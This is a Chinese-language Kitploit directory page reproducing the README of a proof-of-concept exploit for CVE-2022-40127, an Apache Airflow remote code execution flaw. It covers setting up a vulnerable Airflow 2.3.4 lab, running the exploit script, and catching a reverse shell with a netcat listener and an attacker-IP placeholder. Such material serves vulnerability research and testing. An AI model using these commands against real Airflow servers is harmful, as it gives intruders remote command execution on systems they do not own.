Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-40127-Airflow-RCE — 针对CVE-2022-40127的概念验证漏洞利用,通过精心构造的run_id参数针对Apache Airflow实现RCE,并自动传递反向shell。 | Kitploit
工具/GitHubGitHub/jakabakos/cve-2022-40127-airflow-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队
GitHubjakabakos/cve-2022-40127-airflow-rce

CVE-2022-40127-Airflow-RCE

针对CVE-2022-40127的概念验证漏洞利用,通过精心构造的run_id参数针对Apache Airflow实现RCE,并自动传递反向shell。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
2123年前尚未审核
分享

Apache Airflow < 2.4.0 RCE (CVE-2022-40127)

针对CVE-2022-40127的PoC,这是一个Apache Airflow远程代码执行漏洞,影响2.4.0之前的版本。

官方报告描述称:

Apache Airflow的示例DAG中存在一个漏洞,允许具有UI访问权限且能触发DAG的攻击者通过手动提供的run_id参数执行任意命令。该问题影响Apache Airflow 2.4.0之前的版本。

该仓库是为一篇CVE分析博客文章创建的,文章可在vsociety博客上查阅。

https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6

用法

你可以克隆该仓库:

root@kitploit:~
git clone https://github.com/jakabakos/CVE-2022-40127.git

安装并运行Airflow v2.3.4

通过docker-compose

从官方仓库下载docker-compose文件

root@kitploit:~
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'

运行Airflow

root@kitploit:~
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080

在此情况下,用户名和密码均为airflow。

手动安装

根据官方安装说明:

root@kitploit:~
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"

你可以使用which airflow和/或airflow info命令验证安装是否成功。

运行Airflow

root@kitploit:~
airflow standalone

在日志中查看生成的密码和用户名。

使用漏洞利用代码

首先,使用pip安装所需依赖包:

root@kitploit:~
pip3 install -r requirements.txt

查看可用选项:

root@kitploit:~
python3 exploit.py --help

你可以检查主机是否可被利用:

root@kitploit:~
python3 exploit.py -u airflow -p airflow -url http://localhost:8080

在另一个终端会话中设置本地监听器以接收反弹Shell:

root@kitploit:~
nc -lvnp 4242

使用以下命令以攻击模式运行脚本:

root@kitploit:~
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242

你应该在一分钟左右看到连接。 证明

下载工具